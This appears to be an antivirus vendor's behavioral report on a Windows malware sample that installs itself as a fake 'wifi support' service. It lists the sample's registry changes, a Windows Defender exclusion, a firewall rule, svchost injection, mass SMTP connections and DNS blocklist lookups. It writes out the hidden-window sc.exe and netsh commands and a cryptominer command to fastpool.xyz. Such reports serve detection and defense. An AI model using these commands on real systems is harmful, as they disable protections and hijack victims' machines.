Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\vtfufrlo] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vtfufrlo] 'ImagePath' = '%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\vtfufrlo] 'ImagePath' = '%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe'
Creates the following services
- 'vtfufrlo' %WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d"<Full path to file>"
- 'vtfufrlo' %WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vtfufrlo' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\xnycowcl.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\xnycowcl.exe to %WINDIR%\syswow64\vtfufrlo\xnycowcl.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx##.mail.com':25
- 'as##.###widegroup.com.au':25
- 'ak#f.in':443
- 'mx#.##ailsrvr.com':25
- 'fa###ool.xyz':10060
- 'cx#.##.#.cloudfilter.net':25
- 'sp##.#ctvohio.com':25
- 'mx##.schlund.de':25
- 'sp#####an.acredding.com':25
- 'mx.#len.pl':25
- 'mx######a9a01.pphosted.com':25
- 'mx##.###us-vadesecure.net':25
- 'mx.####iciodecorreo.es':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx#.##curemx.biz':25
- 'sm####.laposte.net':25
- 'mx.##.#tinternet.com':25
- 'em##.freenet.de':25
- 'mx######91d01.pphosted.com':25
- 'mx##.#lackberry.com':25
- 'mx##.##il.icloud.com':25
- 'mx##.#-online.de':25
- 'aspmx.l.google.com':25
- '80.##.75.254':484
- 'al######x-vip2.prodigy.net':25
- '31.##.244.126':420
- '31.##.244.82':420
- '31.##.244.127':420
- '80.#6.75.4':420
- '31.##.244.128':420
- '31.##.244.85':420
- 'google.com':80
- 'sv####lfheim.top':443
- 'am###n.co.uk':443
- 'mx#######-1.asimonetworks.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx#.#anmail.net':25
- 'as###.daum.net':25
- 'ff######x-vip2.prodigy.net':25
- '10#.#5.71.108':443
- 'es#.#entene.com':25
- 'im####.netvigator.com':25
- 'google.com':443
- 'in###gram.com':443
- 'um####ldwide.com':443
- 'mx.###zta.onet.pl':25
TCP
HTTP GET requests
- http://www.google.com/
- http://www.google.com/ncr
Other
- 'sv####lfheim.top':443
- 'um####ldwide.com':443
- 'mx.##.#tinternet.com':25
- 'mx#.##curemx.biz':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.####iciodecorreo.es':25
- 'sp##.#ctvohio.com':25
- 'as##.###widegroup.com.au':25
- 'fa###ool.xyz':10060
- 'mx#.##ailsrvr.com':25
- 'ak#f.in':443
- 'sp#####an.acredding.com':25
- 'aspmx.l.google.com':25
- 'google.com':443
- 'ff######x-vip2.prodigy.net':25
- '10#.#5.71.108':443
- 'mx#######-1.asimonetworks.com':25
- 'as###.daum.net':25
- 'in###gram.com':443
- 'mx#.#anmail.net':25
- 'al######x-vip2.prodigy.net':25
- 'am###n.co.uk':443
- '31.##.244.85':420
- '31.##.244.127':420
- '31.##.244.82':420
- '31.##.244.128':420
- '80.#6.75.4':420
- '31.##.244.126':420
- '80.##.75.254':484
- 'sm####.laposte.net':25
- 'mx.###zta.onet.pl':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK bl###berry.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK at#.com
- DNS ASK mx######a9a01.pphosted.com
- DNS ASK ga###otel.com
- DNS ASK mx##.schlund.de
- DNS ASK cr###ity.com
- DNS ASK pe###epc.com
- DNS ASK mx##.#lackberry.com
- DNS ASK sp##.#ctvohio.com
- DNS ASK mc###hio.com
- DNS ASK fa###ool.xyz
- DNS ASK mx#.##ailsrvr.com
- DNS ASK al###ytel.com
- DNS ASK ak#f.in
- DNS ASK as##.###widegroup.com.au
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK as###.daum.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK on#t.pl
- DNS ASK um####ldwide.com
- DNS ASK em##.freenet.de
- DNS ASK fr##net.de
- DNS ASK mx.##.#tinternet.com
- DNS ASK bt###ernet.com
- DNS ASK sm####.laposte.net
- DNS ASK la##ste.net
- DNS ASK cs.com
- DNS ASK mx#.##curemx.biz
- DNS ASK ge####senergy.co.nz
- DNS ASK ea###link.net
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK re###fmail.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK mx.####iciodecorreo.es
- DNS ASK ne###nbay.com
- DNS ASK co#.net
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK do##or.com
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK mx#######-1.asimonetworks.com
- DNS ASK co#.nl
- DNS ASK in###gram.com
- DNS ASK am###n.co.uk
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK mx#.#anmail.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK google.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK at#.net
- DNS ASK sv####lfheim.top
- DNS ASK mx.###zta.onet.pl
- DNS ASK fu####ionesys.com
- DNS ASK ha##ir.com
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK da##.net
- DNS ASK mx.#len.pl
- DNS ASK o2.pl
- DNS ASK sp#####an.acredding.com
- DNS ASK ca##cro.com
- DNS ASK fb###asso.org
- DNS ASK mx##.##il.icloud.com
- DNS ASK me.com
- DNS ASK mx##.#-online.de
- DNS ASK t-##line.de
- DNS ASK aspmx.l.google.com
- DNS ASK va####andonk.com
- DNS ASK ha##ail.net
- DNS ASK im####.netvigator.com
- DNS ASK ne###gator.com
- DNS ASK es#.#entene.com
- DNS ASK ua##.com
- DNS ASK sw##ll.net
- DNS ASK ma##nes.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\vtfufrlo\xnycowcl.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vtfufrlo\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xnycowcl.exe" %WINDIR%\SysWOW64\vtfufrlo\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create vtfufrlo binPath= "%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description vtfufrlo "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start vtfufrlo' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vtfufrlo\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xnycowcl.exe" %WINDIR%\SysWOW64\vtfufrlo\
- '%WINDIR%\syswow64\sc.exe' create vtfufrlo binPath= "%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description vtfufrlo "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start vtfufrlo
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half